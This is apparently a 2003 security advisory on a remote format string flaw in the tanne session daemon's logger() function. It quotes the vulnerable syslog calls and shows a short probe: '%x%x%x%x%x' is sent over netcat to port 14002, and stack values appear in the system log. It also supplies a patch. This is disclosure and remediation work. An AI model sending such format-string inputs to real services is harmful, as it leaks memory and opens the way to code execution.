
INetCop Security Advisory #2003-0x82-012

* Title: Remote format string vulnerability in Tanne.

0x01. Description

About:

tanne is a small, secure session-management solution for HTTP.

It replaces common sessions with a system consisting of PIN and TANs, well known from online banking.

It's main purpose is to enable programmers of Web applications to have real secure sessions without cookies or session-ids.

More detailed information is <http://tanne.fluxnetz.de/>.

Vulnerability can presume as following.

There is logger() function to 29 lines of 'netzio.c' code.

```
—
59     else
60     {
61         va_start( args, str );
62         vsnprintf( txt, 511, str, args );
63         va_end( args );
64         openlog( "Tanne2", LOG_PID, LOG_DAEMON );
65         syslog( LOG_INFO, txt ); // Here.
66         closelog();
67     }
68     umask( NORMALE_UMASK );
69 #else
```

```
70     va_start( args, str );
71     vsnprintf( txt, 511, str, args );
72     va_end( args );
73     openlog( "Tanne2", LOG_PID, LOG_DAEMON );
74     syslog( LOG_INFO, txt ); // Here.
75     closelog();
76 #endif
77 }
--
```

This is very dangerous security vulnerability.

It's known already well. ;-)

0x02. Vulnerable Packages

Vendor site: <http://tanne.fluxnetz.de/>

tanne 0.6.17

- tanne-0.6.17.tar.bz2

+Linux

+Other

0x03. Exploit

When compile and tested, bring following result.

```
bash# netstat -an | grep 14002
```

```
tcp        0      0 127.0.0.1:14002      0.0.0.0:*             LISTEN
```

```
bash# nc 0 14002
```

```
%x%x%x%x%x
```

```
|F|
```

```
bash# tail -1 /var/log/messages
```

```
Jan  5 11:29:55 xpl017elz Tanne2[3540]: FATAL: ID (804bbc0118bfff980) nicht gefunden
```

```
bash#
```

If our examination ends,
exhibit exploit code for proof of concept. hehe !!

0x04. Patch

=== netzio.patch ===

```
--- netzio.c    Wed Jul 25 22:17:29 2001
+++ netzio.patch.c  Sun Jan  5 11:18:31 2003
@@ -62,7 +62,7 @@
         vsnprintf( txt, 511, str, args );
         va_end( args );
         openlog( "Tanne2", LOG_PID, LOG_DAEMON );
-        syslog( LOG_INFO, txt );
+        syslog( LOG_INFO, "%s", txt );
         closelog();
     }
     umask( NORMALE_UMASK );
@@ -71,7 +71,7 @@
     vsnprintf( txt, 511, str, args );
     va_end( args );
     openlog( "Tanne2", LOG_PID, LOG_DAEMON );
-    syslog( LOG_INFO, txt );
+    syslog( LOG_INFO, "%s", txt );
     closelog();

#endif
}
```

=== eof ===

P.S: Sorry, for my poor english.

--

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc@hotmail.com),
[xploit\(at\)hackermail\(dot\)com](mailto:xploit@hackermail.com)

INetCop Security Home: <http://www.inetcop.org/> (Korean hacking game)

My World: <http://x82.i21c.net/> & <http://x82.inetcop.org/>

GPG public key: <http://wizard.underattack.co.kr/~x82/h0me/pr0file/x82.k3y>

--